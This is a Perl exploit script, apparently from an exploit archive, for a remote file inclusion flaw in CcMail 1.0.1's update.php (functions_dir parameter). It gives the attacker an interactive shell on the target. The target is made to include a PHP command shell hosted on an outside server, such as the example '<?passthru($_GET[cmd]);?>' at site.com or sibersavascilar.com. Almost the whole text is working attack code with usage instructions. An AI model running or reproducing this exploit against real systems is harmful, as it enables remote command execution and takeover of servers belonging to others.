CcMail 1.0.1 (update.php functions_dir) Remote File Inclusion Exploit

                                                #!/usr/bin/perl
########################################################################################################
#  CcMail 1.0 Remote  File Inclusion Exploit
########################################################################################################
# Download Script http://www.cicoandcico.com/download/ccmail/ccmail_1.0.1.tar.gz
########################################################################################################
# Bug Found & coded By Crackers_Child
#########################################################################################################
# [email protected]
#########################################################################################################
# Kullanimi
#&nbsp;perl&nbsp;cra.pl&nbsp;<target>&nbsp;<cmd&nbsp;shell&nbsp;location>&nbsp;<cmd&nbsp;shell&nbsp;variable>
#
#&nbsp;perl&nbsp;cra.pl&nbsp;http://site.com/&nbsp;http://site.com/cmd.txt&nbsp;cmd
#
#&nbsp;cmd&nbsp;shell&nbsp;example:&nbsp;<?passthru($_GET[cmd]);?>
#
#&nbsp;cmd&nbsp;shell&nbsp;variable:&nbsp;($_GET[cmd]);
##
#&nbsp;#
#Greetz:My&nbsp;Friends&nbsp;And&nbsp;Enemies&nbsp;;)&nbsp;;)&nbsp;Puhaha&nbsp;[Millet&nbsp;Got&nbsp;Olmus&nbsp;Aq&nbsp;]
#
#&nbsp;Contact:&nbsp;[email protected]
##

use&nbsp;LWP::UserAgent;

$Path&nbsp;=&nbsp;$ARGV[0];
$Pathtocmd&nbsp;=&nbsp;$ARGV[1];
$cmdv&nbsp;=&nbsp;$ARGV[2];

if($Path!~/http:///&nbsp;||&nbsp;$Pathtocmd!~/http:///&nbsp;||&nbsp;!$cmdv){usage()}

head();

while()
{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\"[shell]&nbsp;$\";
while(<STDIN>)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cmd=$_;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;chomp($cmd);

$xpl&nbsp;=&nbsp;LWP::UserAgent->new()&nbsp;or&nbsp;die;
$req&nbsp;=&nbsp;HTTP::Request->new(GET&nbsp;=>$Path.\'functions/update.php?functions_dir=\'.$Pathtocmd.\'?&\'.$cmdv.\'=\'.$cmd)or&nbsp;die&nbsp;\"
Could&nbsp;Not&nbsp;connect
\";

$res&nbsp;=&nbsp;$xpl->request($req);
$return&nbsp;=&nbsp;$res->content;
$return&nbsp;=~&nbsp;tr/[
]/[....]/;

if&nbsp;(!$cmd)&nbsp;{print&nbsp;\"
Please&nbsp;Enter&nbsp;a&nbsp;Command

\";&nbsp;$return&nbsp;=\"\";}

elsif&nbsp;($return&nbsp;=~/failed&nbsp;to&nbsp;open&nbsp;stream:&nbsp;HTTP&nbsp;request&nbsp;failed!/&nbsp;||&nbsp;$return&nbsp;=~/:&nbsp;Cannot&nbsp;execute&nbsp;a&nbsp;blank&nbsp;command&nbsp;in&nbsp;<b>/)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{print&nbsp;\"
Could&nbsp;Not&nbsp;Connect&nbsp;to&nbsp;cmd&nbsp;Host&nbsp;or&nbsp;Invalid&nbsp;Command&nbsp;Variable
\";exit}
elsif&nbsp;($return&nbsp;=~/^<br./>.<b>Fatal.error/)&nbsp;{print&nbsp;\"
Invalid&nbsp;Command&nbsp;or&nbsp;No&nbsp;Return

\"}

if($return&nbsp;=~&nbsp;/(.*)/)


{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$finreturn&nbsp;=&nbsp;$1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$finreturn=~&nbsp;tr/[....]/[
]/;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\"
$finreturn

\";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;last;
}

else&nbsp;{print&nbsp;\"[shell]&nbsp;$\";}}}last;

sub&nbsp;head()
&nbsp;{
&nbsp;print&nbsp;\"
============================================================================
\";
&nbsp;print&nbsp;\"&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CcMail&nbsp;1.0&nbsp;Remote&nbsp;&nbsp;File&nbsp;Inclusion&nbsp;Exploit*
\";
&nbsp;print&nbsp;\"============================================================================
\";
&nbsp;}
sub&nbsp;usage()
&nbsp;{
&nbsp;head();
&nbsp;print&nbsp;\"&nbsp;Usage:&nbsp;perl&nbsp;cra&nbsp;<target>&nbsp;<cmd&nbsp;shell&nbsp;location>&nbsp;<cmd&nbsp;shell&nbsp;variable>

\";
&nbsp;print&nbsp;\"&nbsp;<Site>&nbsp;-&nbsp;Full&nbsp;path&nbsp;to&nbsp;example:&nbsp;http://www.site.com/&nbsp;
\";
&nbsp;print&nbsp;\"&nbsp;<cmd&nbsp;shell>&nbsp;-&nbsp;Path&nbsp;to&nbsp;cmd&nbsp;Shell&nbsp;e.g&nbsp;http://sibersavascilar.com/rst.txt?&nbsp;
\";
&nbsp;print&nbsp;\"&nbsp;<cmd&nbsp;variable>&nbsp;-&nbsp;Command&nbsp;variable&nbsp;used&nbsp;in&nbsp;php&nbsp;shell&nbsp;
\";
&nbsp;print&nbsp;\"============================================================================
\";
&nbsp;print&nbsp;\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;By&nbsp;Crackers_Child&nbsp;
\";
&nbsp;print&nbsp;\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;localexploit(at)hotmail(dot)com&nbsp;
\";
&nbsp;print&nbsp;\"============================================================================
\";
&nbsp;exit();
&nbsp;}

&nbsp;